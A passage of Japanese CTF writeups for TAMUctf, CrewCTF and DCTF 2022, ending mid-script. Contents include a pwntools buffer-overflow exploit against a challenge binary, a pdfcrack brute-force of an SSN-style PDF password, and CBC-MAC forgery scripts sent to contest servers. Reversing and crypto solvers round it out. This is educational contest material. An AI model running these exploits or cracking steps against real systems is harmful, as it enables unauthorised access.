TAMUctf 2022 Writeup

この大会は2022/4/16 3:00(JST)~2022/4/18 3:00(JST)に開催されました。
今回もチームで参戦。結果は800点で476チーム中123位でした。
自分で解けた問題をWriteupとして書いておきます。

Tr*vial (Pwn)

BOFでwin関数をコールすればよい。

$ file trivial
trivial: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a2e06495e3d045e0ec9080639349fecf3fcefb19, not stripped

$ gdb -q ./trivial
Reading symbols from ./trivial...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/trivial 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffddd0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBX: 0x0 
RCX: 0x7ffff7dcda00 --> 0xfbad2288 
RDX: 0x7ffff7dcf8d0 --> 0x0 
RSI: 0x405261 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RDI: 0x7fffffffddd1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBP: 0x3541416641414a41 ('AJAAfAA5')
RSP: 0x7fffffffde28 ("AAKAAgAA6AAL")
RIP: 0x401160 (<main+27>:	ret)
R8 : 0x4052c5 --> 0x0 
R9 : 0x7ffff7fd74c0 (0x00007ffff7fd74c0)
R10: 0x405010 --> 0x0 
R11: 0x246 
R12: 0x401050 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdf00 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401159 <main+20>:	call   0x401040 <gets@plt>
   0x40115e <main+25>:	nop
   0x40115f <main+26>:	leave  
=> 0x401160 <main+27>:	ret    
   0x401161:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x40116b:	nop    DWORD PTR [rax+rax*1+0x0]
   0x401170 <__libc_csu_init>:	push   r15
   0x401172 <__libc_csu_init+2>:	mov    r15,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde28 ("AAKAAgAA6AAL")
0008| 0x7fffffffde30 --> 0x4c414136 ('6AAL')
0016| 0x7fffffffde38 --> 0x7fffffffdf08 --> 0x7fffffffe24b ("/mnt/hgfs/Shared/trivial")
0024| 0x7fffffffde40 --> 0x100008000 
0032| 0x7fffffffde48 --> 0x401145 (<main>:	push   rbp)
0040| 0x7fffffffde50 --> 0x0 
0048| 0x7fffffffde58 --> 0xc0b91e5bf8168663 
0056| 0x7fffffffde60 --> 0x401050 (<_start>:	xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401160 in main ()
gdb-peda$ patto AAKAAgAA6AAL
AAKAAgAA6AAL found at offset: 88
#!/usr/bin/env python3
from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="trivial")

elf = ELF("./trivial")
win_addr = elf.symbols["win"]

payload = b"A" * 88
payload += p64(win_addr)

print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to tamuctf.com on port 443: Done
[*] '/mnt/hgfs/Shared/trivial'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
docker_entrypoint.sh
flag.txt
trivial
$ cat flag.txt
gigem{sorry_for_using_the_word_trivial}
gigem{sorry_for_using_the_word_trivial}

Covfefe (Reversing)

Bytecode Viewerで開き、classファイルをデコンパイルする。

public class Covfefe {
   public static void main(String[] var0) {
      byte var1 = 35;
      int[] var2 = new int[var1];

      int var3;
      for(var3 = 0; var3 < var1; ++var3) {
         var2[var3] = 0;
      }

      var2[0] = 103;
      var2[1] = var2[0] + 2;
      var2[2] = var2[0];

      for(var3 = 3; var3 < 8; ++var3) {
         switch(var3) {
         case 3:
            var2[var3] = 101;
            break;
         case 4:
            var2[6] = 99;
            break;
         case 5:
            var2[5] = 123;
            break;
         case 6:
            var2[var3 + 1] = 48;
            break;
         case 7:
            var2[4] = 109;
         }
      }

      var2[8] = 102;
      var2[9] = var2[8];
      var2[24] = var2[25] = var2[28] = var2[7];
      var2[10] = 51;
      var2[11] = var2[10] + 12 - 4 - 4 - 4;
      var2[12] = var2[15] = var2[22] = var2[27] = var2[0] - (int)Math.pow(2.0D, 3.0D);
      var2[13] = 49;
      var2[14] = 115;

      for(var3 = 16; var3 < 22; ++var3) {
         switch(var3) {
         case 16:
            var2[var3 + 1] = 108;
            break;
         case 17:
            var2[var3 - 1] = 52;
            break;
         case 18:
            var2[var3 + 1] = 52;
            break;
         case 19:
            var2[var3 - 1] = 119;
            break;
         case 20:
            var2[var3 + 1] = 115;
            break;
         case 21:
            var2[var3 - 1] = 121;
         }
      }

      var2[23] = 103;
      var2[26] = var2[23] - 3;
      var2[29] = var2[26] + 20;
      var2[30] = var2[29] % 53 + 53;
      var2[31] = var2[0] - 18;
      var2[32] = 80;
      var2[33] = 83;
      var2[var1 - 1] = (int)Math.pow(5.0D, 3.0D);
   }
}

最後にvar2の文字を出力するコードを追加して、コンパイルして実行する。

$ cat Covfefe.java
public class Covfefe {
   public static void main(String[] var0) {
      byte var1 = 35;
      int[] var2 = new int[var1];

      int var3;
      for(var3 = 0; var3 < var1; ++var3) {
         var2[var3] = 0;
      }

      var2[0] = 103;
      var2[1] = var2[0] + 2;
      var2[2] = var2[0];

      for(var3 = 3; var3 < 8; ++var3) {
         switch(var3) {
         case 3:
            var2[var3] = 101;
            break;
         case 4:
            var2[6] = 99;
            break;
         case 5:
            var2[5] = 123;
            break;
         case 6:
            var2[var3 + 1] = 48;
            break;
         case 7:
            var2[4] = 109;
         }
      }

      var2[8] = 102;
      var2[9] = var2[8];
      var2[24] = var2[25] = var2[28] = var2[7];
      var2[10] = 51;
      var2[11] = var2[10] + 12 - 4 - 4 - 4;
      var2[12] = var2[15] = var2[22] = var2[27] = var2[0] - (int)Math.pow(2.0D, 3.0D);
      var2[13] = 49;
      var2[14] = 115;

      for(var3 = 16; var3 < 22; ++var3) {
         switch(var3) {
         case 16:
            var2[var3 + 1] = 108;
            break;
         case 17:
            var2[var3 - 1] = 52;
            break;
         case 18:
            var2[var3 + 1] = 52;
            break;
         case 19:
            var2[var3 - 1] = 119;
            break;
         case 20:
            var2[var3 + 1] = 115;
            break;
         case 21:
            var2[var3 - 1] = 121;
         }
      }

      var2[23] = 103;
      var2[26] = var2[23] - 3;
      var2[29] = var2[26] + 20;
      var2[30] = var2[29] % 53 + 53;
      var2[31] = var2[0] - 18;
      var2[32] = 80;
      var2[33] = 83;
      var2[var1 - 1] = (int)Math.pow(5.0D, 3.0D);
      for(int i = 0; i < 35; i++) {
         System.out.print((char)var2[i]);
      }
      System.out.print((char)10);
   }
}
$ javac Covfefe.java
$ java Covfefe
gigem{c0ff33_1s_4lw4ys_g00d_0xCUPS}
gigem{c0ff33_1s_4lw4ys_g00d_0xCUPS}

REdo 1 (Reversing)

インデックスを調整しながら、比較している。比較している文字を出力する。

#!/usr/bin/env python3
import struct

a = [0x65676967, 0x00000000, 0x34427b6d, 0x5f433153, 0x616c5f43, 0x00000000,
    0x4175476e, 0x525f4567, 0x00000000, 0x78305f45, 0x53414c47, 0x00007d53]

p_flag = b''
for v in a:
    p_flag += struct.pack('<I', v)

flag = b''
for i in range(34):
    idx = i
    if i >= 4 and i <= 15:
        idx += 4
    if i >= 16 and i <= 23:
        idx += 8
    if i > 23:
        idx += 12
    flag += bytes([p_flag[idx]])

print(flag.decode())
gigem{B4S1C_C_lanGuAgE_RE_0xGLASS}

What's the Difference (Forensics)

$ git config --global --add safe.directory /mnt/hgfs/Shared/work/.git
$ cd .git
$ git log --all
commit 0b055455560bce16787d2e2a7b0ae36b3ddd2b35 (HEAD -> master)
Author: TacEx <TacEx@root.dev>
Date:   Fri Apr 8 02:14:25 2022 -0500

    Whoops wrong flag

commit e61bf8b90c60b29a241bd29205eb173ef79cd850
Author: TacEx <TacEx@root.dev>
Date:   Fri Apr 8 02:13:54 2022 -0500

    Add writeup

$ python -c 'import zlib; print zlib.decompress(open("objects/0b/055455560bce16787d2e2a7b0ae36b3ddd2b35").read())'
commit 210tree 600fa8c6371a587cbf791a06cea3a40380047608
parent e61bf8b90c60b29a241bd29205eb173ef79cd850
author TacEx <TacEx@root.dev> 1649402065 -0500
committer TacEx <TacEx@root.dev> 1649402065 -0500

Whoops wrong flag

$ python -c 'import zlib; print zlib.decompress(open("objects/60/0fa8c6371a587cbf791a06cea3a40380047608").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 37 00 31 30 30 36 34 34 20 52  tree 37.100644 R
00000010: 45 41 44 4d 45 2e 6d 64 00 f2 2d 0c b7 42 c3 95  EADME.md..-..B..
00000020: 54 25 a3 ec d2 6a e5 32 b5 08 bf 9a 33 0a        T%...j.2....3.

$ python -c 'import zlib; print zlib.decompress(open("objects/f2/2d0cb742c3955425a3ecd26ae532b508bf9a33").read())'
blob 2169# MetaCTF 2021: I Hate Python (Reverse Engineering)

## Description

I hate Python, and now you will too. Find the password.

```
import random

def do_thing(a, b):
	return ((a << 1) & b) ^ ((a << 1) | b)

x = input("What's the password? ")

if len(x) != 25:
	print("WRONG!!!!!")
else:
	random.seed(997)
	k = [random.randint(0, 256) for _ in range(len(x))]
	a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(x), k) }
	b = list(range(len(x)))
	random.shuffle(b)
	c = [a[i] for i in b[::-1]]
	kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127]
	valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c))))

if valid == len(x):
	print("Password is correct! Flag:", x)
else:
	print("WRONG!!!!!!")
```

Near the end of the script there is a comparison checking if valid is equal to the length of the password. This comparison led me to believe that each correct character in the password will add one to valid. By adding a print statement to check the value of valid and sending the program the password MetaCTFAAAAAAAAAAAAAAAAAA I was able to see that my hunch was correct.

Now I can modify the script to brute force each character in the password to find the right password.

```
import random
from os import system

def do_thing(a, b):
	return ((a << 1) & b) ^ ((a << 1) | b)

def python_sucks(passwd, current_length):
	random.seed(997)
	k = [random.randint(0, 256) for _ in range(len(passwd))]
	a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(passwd), k) }
	b = list(range(len(passwd)))
	random.shuffle(b)
	c = [a[i] for i in b[::-1]]
	kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127]
	valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c))))

	if valid > current_length:
		return True
	else:
		return False


currFlag = ''

for i in range(25):
	for j in range(33, 128):
		nextFlag = currFlag + chr(j) + 'A'*(24-i)
		assert(len(nextFlag) == 25)

		if python_sucks(nextFlag, len(currFlag)):
			currFlag = currFlag + chr(j)
			print(currFlag)
			break
```

Flag: MetaCTF{yOu_w!N_th1$_0n3}

$ python -c 'import zlib; print zlib.decompress(open("objects/e6/1bf8b90c60b29a241bd29205eb173ef79cd850").read())'
commit 156tree d98c1dda21df83c868f6327c344468804a3f0705
author TacEx <TacEx@root.dev> 1649402034 -0500
committer TacEx <TacEx@root.dev> 1649402034 -0500

Add writeup

$ python -c 'import zlib; print zlib.decompress(open("objects/d9/8c1dda21df83c868f6327c344468804a3f0705").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 37 00 31 30 30 36 34 34 20 52  tree 37.100644 R
00000010: 45 41 44 4d 45 2e 6d 64 00 95 fb 13 e6 ba cb cc  EADME.md........
00000020: be 2f 66 17 2f 2f bb 72 56 d6 01 29 0c 0a        ./f.//.rV..)..

$ python -c 'import zlib; print zlib.decompress(open("objects/95/fb13e6bacbccbe2f66172f2fbb7256d601290c").read())'
blob 2179# MetaCTF 2021: I Hate Python (Reverse Engineering)

## Description

I hate Python, and now you will too. Find the password.

```
import random

def do_thing(a, b):
	return ((a << 1) & b) ^ ((a << 1) | b)

x = input("What's the password? ")

if len(x) != 25:
	print("WRONG!!!!!")
else:
	random.seed(997)
	k = [random.randint(0, 256) for _ in range(len(x))]
	a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(x), k) }
	b = list(range(len(x)))
	random.shuffle(b)
	c = [a[i] for i in b[::-1]]
	kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127]
	valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c))))

if valid == len(x):
	print("Password is correct! Flag:", x)
else:
	print("WRONG!!!!!!")
```

Near the end of the script there is a comparison checking if valid is equal to the length of the password. This comparison led me to believe that each correct character in the password will add one to valid. By adding a print statement to check the value of valid and sending the program the password MetaCTFAAAAAAAAAAAAAAAAAA I was able to see that my hunch was correct.

Now I can modify the script to brute force each character in the password to find the right password.

```
import random
from os import system

def do_thing(a, b):
	return ((a << 1) & b) ^ ((a << 1) | b)

def python_sucks(passwd, current_length):
	random.seed(997)
	k = [random.randint(0, 256) for _ in range(len(passwd))]
	a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(passwd), k) }
	b = list(range(len(passwd)))
	random.shuffle(b)
	c = [a[i] for i in b[::-1]]
	kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127]
	valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c))))

	if valid > current_length:
		return True
	else:
		return False


currFlag = ''

for i in range(25):
	for j in range(33, 128):
		nextFlag = currFlag + chr(j) + 'A'*(24-i)
		assert(len(nextFlag) == 25)

		if python_sucks(nextFlag, len(currFlag)):
			currFlag = currFlag + chr(j)
			print(currFlag)
			break
```

Flag: gigem{b3_car3ful_b3for3_y0u_c0mmit}
gigem{b3_car3ful_b3for3_y0u_c0mmit}

Taxes (Forensics)

pdfのパスワードは米国のSocial Security Numberでハイフンはない。数字で000000000~999999999のどれかのパスワードになっているはず。pdfcrackでクラックする。

$ pdfcrack -f 2021-return-enc.pdf --charset="0123456789" -n 9 -m 9

PDF version 1.5
Security Handler: Standard
V: 2
R: 3
P: -4
Length: 128
Encrypted Metadata: True
FileID: b723cc6032e756aa478f5001ec79c0e5
U: 5c89613c1881c3f9e51c407e042355d90122456a91bae5134273a6db134c87c4
O: 9b08f608843a9a833ff15833e443ce5cb230bd0f49b7d6fa0612328f661dc7ba
Average Speed: 55431.1 w/s. Current Word: '026801100'
Average Speed: 55126.2 w/s. Current Word: '541112200'
Average Speed: 58025.7 w/s. Current Word: '956173300'
Average Speed: 56393.2 w/s. Current Word: '225994400'
Average Speed: 58243.8 w/s. Current Word: '893466500'
               :
               :
Average Speed: 25291.3 w/s. Current Word: '181110914'
Average Speed: 24746.7 w/s. Current Word: '411605914'
Average Speed: 25034.5 w/s. Current Word: '508600024'
Average Speed: 24062.3 w/s. Current Word: '150884024'
Average Speed: 24945.3 w/s. Current Word: '759689024'
found user-password: '694705124'

このパスワードを使って、PDFを開くと、フラグが書かれていた。

gigem{hope_you_did_your_taxes_already}

Take a Byte (Crypto)

gigem{}の中が1文字ずつRSA暗号で暗号化されているようなので、ブルートフォースで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('data.txt', 'r') as f:
    lines = f.read().splitlines()

N = int(lines[0].split(' ')[-1])
e = int(lines[1].split(' ')[-1])
cs = lines[2].split(' ')

flag = cs[0]
for c in cs[1:-1]:
    for code in range(32, 127):
        if pow(code, e, N) == int(c):
            flag += chr(code)
            break
flag += cs[-1]
print(flag)
gigem{enumerable_SeArCh_SpAcEs_4R3_WEAK_0xBEEF}

CrewCTF 2022 Writeup

この大会は2022/4/16 2:00(JST)~2022/4/18 2:00(JST)に開催されました。
今回もチームで参戦。結果は210点で758チーム中204位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (welcome)

Discordに入り、#announcementチャネルのメッセージを見ると、フラグが書いてあった。

crew{W3lc0mE!}

Corrupted (forensics)

$ binwalk Corrupted.001 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
40543         0x9E5F          Unix path: /0/1/2/3/4/5/6/7/8/9/:/;/</=/>/?/@/A/B/C/D/E/F/G/H/I/J/K/L/M/N/O/P/Q/R/S/T/U/V/W/X/Y/Z/[/\/]/^/_/`/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o
5808128       0x58A000        PNG image, 294 x 306, 8-bit/color RGBA, non-interlaced
5836800       0x591000        PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced
5836870       0x591046        Zlib compressed data, compressed
6934528       0x69D000        PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced
6934598       0x69D046        Zlib compressed data, compressed
8704000       0x84D000        PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced
8704070       0x84D046        Zlib compressed data, compressed
10506240      0xA05000        PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced
10506376      0xA05088        Zlib compressed data, compressed
12275712      0xBB5000        PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced
12275848      0xBB5088        Zlib compressed data, compressed
14082048      0xD6E000        PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced
14082118      0xD6E046        Zlib compressed data, compressed
15024128      0xE54000        JPEG image data, EXIF standard
15024140      0xE5400C        TIFF image data, big-endian, offset of first image directory: 8
19922944      0x1300000       JPEG image data, EXIF standard
19922956      0x130000C       TIFF image data, big-endian, offset of first image directory: 8
24121344      0x1701000       PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced
24121414      0x1701046       Zlib compressed data, compressed
26468352      0x193E000       PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced
26468422      0x193E046       Zlib compressed data, compressed

$ foremost Corrupted.001 
Processing: Corrupted.001
|*|

抽出できたpngファイルの1つにフラグが書いてあった。

crew{34sY_C0rrupt3D_GPT}

ez-x0r (crypto)

base64デコードし、フラグは"crew"から始まることを前提にXORキーを求め、復号する。

#!/usr/bin/env python3
import base64

with open('flag.enc', 'r') as f:
    enc = f.read()

enc = base64.b64decode(enc)

key = ord('c') ^ enc[0]

flag = ''
for c in enc:
    flag += chr(c ^ key)
print(flag)
crew{3z_x0r_crypto}

DCTF 2022 Writeup

この大会は2022/4/16 1:00(JST)~2022/4/18 1:00(JST)に開催されました。
今回もチームで参戦。結果は4100点で425チーム中6位でした。
自分で解けた問題をWriteupとして書いておきます。

Seek (Rev 100)

添付のflag.txtは空になっている。添付のc言語のソースファイルの処理では、flag.txtを読み、ファイルの位置の文字をチェックしている。
何行も以下の形式でチェックしているので、それを抽出し、flag.txtの内容を復元する。

fseek(fp,<位置>,SEEK_SET);c=fgetc(fp);if(c != <ASCIIコード>){oops();}
#!/usr/bin/env python3
import re

with open('seek.c', 'r') as f:
    lines = f.read().splitlines()[19:746]

pattern = 'fseek\(fp,(\d+),SEEK_SET\);c=fgetc\(fp\);if\(c != (\d+)\)\{oops\(\);\}'

msg = [''] * 727
for line in lines:
    m = re.match(pattern, line)
    index = int(m.group(1))
    char = chr(int(m.group(2)))
    msg[index] = char

msg = ''.join(msg)
print(msg)

実行結果は以下の通り。

 _______   ______ .___________. _______    ___ _______   ______    __    __  .__   __.  _______  ___
|       \ /      ||           ||   ____|  /  /|   ____| /  __  \  |  |  |  | |  \ |  | |       \ \  \
|  .--.  |  ,----'`---|  |----`|  |__    |  | |  |__   |  |  |  | |  |  |  | |   \|  | |  .--.  | |  |
|  |  |  |  |         |  |     |   __|  /  /  |   __|  |  |  |  | |  |  |  | |  . `  | |  |  |  |  \  \
|  '--'  |  `----.    |  |     |  |     \  \  |  |     |  `--'  | |  `--'  | |  |\   | |  '--'  |  /  /
|_______/ \______|    |__|     |__|      |  | |__|      \______/   \______/  |__| \__| |_______/  |  |
                                          \__\                                                   /__/
DCTF{FOUND}

MACdonalds 1 (Crypto 200)

サーバの処理概要は以下の通り。

・self.forgeries = 0
・self.tagged = False
・self.key = get_random_bytes(16)
・self.tagged_message = ''
・以下繰り返し
 ・data: jsonデータ入力
 ・req_json: dataをjsonデータとして格納
 ・req_json['action']が'tag'の場合
  ・self.taggedがFalseの場合
   ・self.tagged_messageにreq_json['message']をセット
   ・self.taggedにTrueをセット
   ・req_json['message']をhexデコードしたものをtag関数実行・表示
    ・mask = bytes([0] * 16)
    ・messageの長さが16の倍数でない場合は、パディング
    ・各blockに対して以下繰り返し
     ・mask: maskとblockのXORをAES-ECB暗号化
    ・maskの16進数表記を返却 
 ・req_json['action']が'verify'の場合
  ・req_json['message']とreq_json['tag']の組み合わせが正しい場合フラグが表示される。

tagは一度しかアクションできない。verifyでは、tagで確認したメッセージについては認証OKとならない。tagの結果から算出する必要がある。
1ブロックのみの平文のtagは以下のようなイメージで算出される。

平文1ブロック目 ^ ([0] * 16) --(AES暗号)--> 暗号1ブロック目(=tag)

2ブロックの平文のtagは以下のようなイメージで算出される。

平文1ブロック目 ^ ([0] * 16)      --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目(=tag)

平文2ブロック目 ^ 暗号1ブロック目 = 平文1ブロック目となるような平文2ブロック目を指定すればtagは同じになる。以上のことをスクリプトにして実行する。

#!/usr/bin/python3
import socket
import json
from Crypto.Util.strxor import strxor

def pad(message):
    temp = bytearray(message)
    if len(message) % 16:
        num_missing = 16 - (len(message) % 16)
        for _ in range(num_missing):
            temp.append(0)
    return temp

HOST = "51.124.222.205"
PORT = 13372

# Open a connection to the challenger
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))

    # Send a message to the challenger and get the tag
    tag_obj = {
        'action': 'tag',
        'message': bytes('Hello World', encoding='utf-8').hex()
    }
    print(json.dumps(tag_obj))
    s.sendall(bytes(json.dumps(tag_obj), encoding='utf-8'))
    tag = s.recv(1024).decode()
    print(tag)

    m2 = strxor(pad(bytes('Hello World', encoding='utf-8')), bytes.fromhex(tag))
    message = pad(bytes('Hello World', encoding='utf-8')) + m2

    tag_obj = {
        'action': 'verify',
        'message': message.hex(),
        'tag': tag
    }
    print(json.dumps(tag_obj))
    s.sendall(bytes(json.dumps(tag_obj), encoding='utf-8'))
    flag = s.recv(1024).decode()
    print(flag)

実行結果は以下の通り。

{"action": "tag", "message": "48656c6c6f20576f726c64"}
6c5790b632ee2947b1c5bd795b25503a
{"action": "verify", "message": "48656c6c6f20576f726c6400000000002432fcda5dce7e28c3a9d9795b25503a", "tag": "6c5790b632ee2947b1c5bd795b25503a"}
dctf{Paper_is_technically_made_out_of_sugar.}
dctf{Paper_is_technically_made_out_of_sugar.}

MACdonalds 2 (Crypto 300)

サーバの処理概要は以下の通り。

・self.forgeries = 0
・self.tagged = False
・self.key = get_random_bytes(16)
・self.tagged_message = []
・self.iv = get_random_bytes(16)
・以下繰り返し
 ・data: jsonデータ入力
 ・req_json: dataをjsonデータとして格納
 ・req_json['action']が'tag'の場合
  ・self.taggedがFalseの場合
   ・req_json['message']の長さが32バイト以下の場合
    ・self.tagged_messageにreq_json['message']を追加
    ・self.taggedにTrueをセット
    ・req_json['message']をhexデコードしたものをself.ivを使ってtag関数実行・表示
     ・messageの長さが16の倍数でない場合は、パディング
     ・self.ivと、self.ivとblockのXORをAES-ECB暗号化したものの16進数表記を返却
    ・self.tagged_messageにself.ivを追加
 ・req_json['action']が'verify'の場合
  ・req_json['message']とreq_json['tag']の組み合わせが正しい場合フラグが表示される。

tagは一度しかアクションできない。verifyでは、tagで確認したメッセージについては認証OKとならない。tagの結果から算出する必要がある。
平文Aのtagは以下のようなイメージで算出される。

平文A ^ iv1(=tag[0]) --(AES暗号)--> 暗号A(=tag[1])

平文Bも同じtag[1]にするためには、以下の条件が必要

平文A ^ iv1 = 平文B ^ iv2

以上のことをスクリプトにして実行する。

#!/usr/bin/python3
import socket
import json
from Crypto.Util.strxor import strxor

def pad(message):
    temp = bytearray(message)
    if len(message) % 16:
        num_missing = 16 - (len(message) % 16)
        for _ in range(num_missing):
            temp.append(0)
    return temp

HOST = "51.124.222.205"
PORT = 13373

# Open a connection to the challenger
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))

    # Send a message to the challenger and get the tag
    tag_obj = {
        'action': 'tag',
        'message': bytes('Hello World', encoding='utf-8').hex()
    }
    print(json.dumps(tag_obj))
    s.sendall(bytes(json.dumps(tag_obj), encoding='utf-8'))
    tag = s.recv(1024).decode()
    print(tag)

    tag_json = json.loads(tag)
    iv1 = bytes.fromhex(tag_json['iv'])
    ct = bytes.fromhex(tag_json['ct'])

    message = bytes('Hello World!!!!!', encoding='utf-8')
    xor_data = strxor(pad(bytes('Hello World', encoding='utf-8')), iv1)
    iv2 = strxor(xor_data, message)

    tag_obj = {
        'action': 'verify',
        'message': message.hex(),
        'tag': [iv2.hex(), ct.hex()]
    }
    print(json.dumps(tag_obj))
    s.sendall(bytes(json.dumps(tag_obj), encoding='utf-8'))
    flag = s.recv(1024).decode()
    print(flag)

実行結果は以下の通り。

{"action": "tag", "message": "48656c6c6f20576f726c64"}
{"iv": "554881b00326c77f7bafc90ad897527e", "ct": "26213ce1549bd1e418c01e05ace6aa1c"}
{"action": "verify", "message": "48656c6c6f20576f726c642121212121", "tag": ["554881b00326c77f7bafc92bf9b6735f", "26213ce1549bd1e418c01e05ace6aa1c"]}
dctf{ECB_is_the_ice_cream_machine_of_crypto.}
dctf{ECB_is_the_ice_cream_machine_of_crypto.}

Snailtime (Crypto 400)

サーバの処理概要は以下の通り。

・TARGET = 10
・MAX = 10
・N = 512
・key: 4つの整数固定値のタプル
・count = 0
・lookups = 0
・C = MyCrypt(key)
 ・(self.n, self.g, self.h, self.x) = key
 ・self.lookup = [pow(self.g, -(2**i), self.n) for i in range(N)]
・C.n, C.gを表示
・m = new_num(C)
 ・m: 1以上N-1以下のランダム整数値
 ・ct = C.encrypt(m,exp=True)
  ・m = pow(2, m)
  ・r: 1以上pow(2,N)-1以下のランダム整数値
  ・(pow(self.g, m, self.n) * pow(self.h, r, self.n)) % nを返却
 ・ctを表示
 ・mを返却
・以下繰り返し
 ・op: メニュー選択
 ・op == "1"の場合
  ・n: 数値入力
  ・n == mの場合
   ・count: 1プラス
   ・count == TARGETの場合、フラグが表示される。
  ・m = new_num(C)
 ・op == "2"の場合
  ・lookups == MAXの場合
   ・メニュー選択に戻る(このメニューはもう使えない)
  ・ct: 数値入力
  ・pt = C.decrypt(ct)
   ・a = pow(ct, self.x, self.n)
   ・a == ctの場合、-1を返却
   ・x = 0
   ・e = 1
   ・以下N回繰り返し
    ・pow(a, pow(2,N-i-1), self.n)が1でない場合
     ・x: eプラス
     ・a = (a * self.lookup[i]) % self.n
    ・e: 2倍
   ・xを返却
  ・n: ptの2進数に1が含まれている数
  ・nが256より大きい場合、"Thats one fat number."と表示
  ・nが256以下の場合、"Eh, could be bigger."と表示
  ・lookups: 1プラス

非常にわかりにくくコードが書かれているが、2のメニューは使用する必要はない。復号方法のコードはほぼ書かれており、その結果が2の何乗なのかがmの値になる。
あとはこのことを元に10回正解すればフラグが表示される。

#!/usr/bin/env python3
import socket
import sympy

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def decrypt(c, x, n):
    a = pow(c, x, n)
    y = 0
    e = 1
    for i in range(N):
        if pow(a, pow(2, N - i - 1), n) != 1:
            y += e
            a = (a * lookup[i]) % n
        e *= 2
    return sympy.factorint(y)[2]

N = 512
key = (1406745126430834211368439581427586552128513839368079375330777422350279010233921137101818450726988691168057262732590043941337227908029133975607524811099227565909552352445605144707215821110896806246996893529617429480181978275309159546378644943189838293023417359936637918158730858640390260572101852546621557080006885599631146311721451331859138297506121887787830325952441708634953348555768257126236741528355472633852552203653607703853172417814273926846522222899266871676816812119260729815492523759602496987964348605786989031714342204638679831604162373164470163182293721312107165701819445214483716237099450544614974539548198879711577259046399009099059074121716448365481422270130752107511758789011194744135899404901773436027732204863189984525085762750748955124164661344679706185466081110635241274044828067943979807155807734417834245987985856846297320515363064556415983787996822585199472909391214500400444166487063524093463852220417, 